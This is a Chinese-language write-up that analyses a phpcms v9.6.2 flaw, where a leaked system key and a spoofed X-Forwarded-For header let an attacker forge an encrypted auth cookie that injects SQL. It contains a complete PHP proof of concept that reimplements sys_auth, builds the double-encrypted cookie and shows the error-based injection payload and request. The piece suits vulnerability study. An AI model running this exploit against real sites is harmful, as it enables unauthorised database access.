前言
phpcmsv9.6.2
mysql+php5.6
ubuntu 19
漏洞分析
此版本的phpcms中存在任意文件下载漏洞,通过这个漏洞,我们可以读取到这套cms的密钥,利用密钥伪造cookie,进行sql注入。
定位modules/member/index.php1
2
3
4
5
6
7
8class index extends foreground {
private $times_db;
function __construct() {
parent::__construct();
$this->http_user_agent = $_SERVER['HTTP_USER_AGENT'];
}
继承父类1
parent::__construct();
进入父类foreground类的__construct();1
2
3
4
5
6
7
8public function __construct() {
self::check_ip();
$this->db = pc_base::load_model('member_model');
//ajax验证信息不需要登录
if(substr(ROUTE_A, 0, 7) != 'public_') {
self::check_member();
}
}
进入check_member()函数1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30final public function check_member() {
$phpcms_auth = param::get_cookie('auth');
if(ROUTE_M =='member' && ROUTE_C =='index' && in_array(ROUTE_A, array('login', 'register', 'mini','send_newmail'))) {
if ($phpcms_auth && ROUTE_A != 'mini') {
showmessage(L('login_success', '', 'member'), 'index.php?m=member&c=index');
} else {
return true;
}
} else {
//判断是否存在auth cookie
if ($phpcms_auth) {
$auth_key = $auth_key = get_auth_key('login');//
list($userid, $password) = explode("\t", sys_auth($phpcms_auth, 'DECODE', $auth_key));
//验证用户,获取用户信息
$this->memberinfo = $this->db->get_one(array('userid'=>$userid));
if($this->memberinfo['islock']) exit('<h1>Bad Request!</h1>');
//获取用户模型信息
$this->db->set_model($this->memberinfo['modelid']);
$this->_member_modelinfo = $this->db->get_one(array('userid'=>$userid));
$this->_member_modelinfo = $this->_member_modelinfo ? $this->_member_modelinfo : array();
$this->db->set_model();
if(is_array($this->memberinfo)) {
$this->memberinfo = array_merge($this->memberinfo, $this->_member_modelinfo);
}
....
....
}
}
}
触发点位于1
$this->memberinfo = $this->db->get_one(array('userid'=>$userid));
其中$userid未经过滤便传入get_one()函数,导致sql注入,然后最有意思的地方来了。看过POC之后,我试图寻找伪造cookie的方法…..找了很久…..我也是很无奈,聊一聊思路
首先$phpcms_auth = param::get_cookie('auth');
,然后跟进函数get_cookie(‘auth’),看一眼1
2
3
4
5
6
7
8
9
10public static function get_cookie($var, $default = '') {//$var=auth
$var = pc_base::load_config('system','cookie_pre').$var;//$var=ZffIO_autl
$value = isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default;
if(in_array($var,array('_userid','userid','siteid','_groupid','_roleid'))) {
$value = intval($value);
} elseif(in_array($var,array('_username','username','_nickname','admin_username','sys_lang'))) {
$value = safe_replace($value);
}
return $value;
}
cookie_pre是系统设定的cookie前缀.这个函数主要用于获取ZffIO_autl的cookie值,这里最重要的代码就是1
$value = isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default;
之前分析过sys_auth()函数,这是phpcms内置的一个加解密函数,在未指定情况下,会默认使用系统的密钥,
这里是对’ZffIO_auth’进行第一次,解密,这次的解密使用的密钥是系统的密钥,通过文件下载漏洞获取。
回头看check_member(),返回的cookie值传入$phpcms_auth,作为进入if内代码体的先决条件1
2
3
4
5if ($phpcms_auth) {
$auth_key = $auth_key = get_auth_key('login');//
list($userid, $password) = explode("\t", sys_auth($phpcms_auth, 'DECODE', $auth_key));
//验证用户,获取用户信息
$this->memberinfo = $this->db->get_one(array('userid'=>$userid));
$userid来自$phpcms_auth,而$phpcms_auth来自上一步ZFFIO_auth解码的结果,这里进行第二次解密,看一下此次解密所使用的的密钥$auth_key1
$auth_key = $auth_key = get_auth_key('login');
跟进函数get_auth_key()1
2
3
4
5
6
7
8
9function get_auth_key($prefix,$suffix="") {//$prefix = 'login'
if($prefix=='login'){
$pc_auth_key = md5(pc_base::load_config('system','auth_key').ip());
}
.... ....
.... ....
$authkey = md5($prefix.$pc_auth_key);
return $authkey;
}
因为跟进函数ip()1
2
3
4
5
6
7
8
9
10
11
12function ip() {
if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
$ip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
$ip = getenv('REMOTE_ADDR');
} elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
$ip = $_SERVER['REMOTE_ADDR'];
}
return preg_match ( '/[\d\.]{7,15}/', $ip, $matches ) ? $matches [0] : '';
}
我们可以通过指定X_Forwarded_For的值来获取ip地址。这个ip所以是我们可控的
所以$auth_key=md5(‘login’.md5(auth_key.X_Forwarded_For)),也就是本次解密使用的密钥,通过两次解密,数据赋值给$userid。
整个解密过程如下图
根据分析我们写出POC,我们写出逆过程,伪造cookie1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
function authkey()
{
$auth_key = 'xxxxxxxx';//系统给定密钥
$ip = 'x.x.x.x';//伪造的IP
$pc_auth_key = md5($auth_key.$ip);
$prefix = 'login';
$authkey = md5($prefix.$pc_auth_key);
return $authkey;
}
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
}
}
//恶意代码
$sql='1%27%20and%20%28extractvaule%281%2Cconcat%280x7e%2C%28select%20user%28%29%29%2C0x7e%29%29%29%3B%23';
$key=authkey();//获取第二步加密操作所使用的密钥
$encript_first_source=sys_auth($sql,'ENCODE',$key);//第一次加密,对应源代码中第二次解密
$system_key='xxxxxxx';//系统给定密钥
$encript_second_source=sys_auth($encript_first_source,'ENCODE',$system_key);//第二次加密,对应源代码中第一次解密,
echo $encript_second_source;//获取最终密文,即ZFFIO_auth的cookie值
payload:1
2
3
4./index.php?m=member&c=index&siteid=1
发送请求,并且cookie中
cookie: ZFFIO_auth=$encript_second_source
图是别处挖来地,复现时,忘记截图了……
写在后面
这个漏洞的利用,我觉得很有意思,这个cookie的构造过程,很是迷人。学习的路还有很长,加油吧。。。。。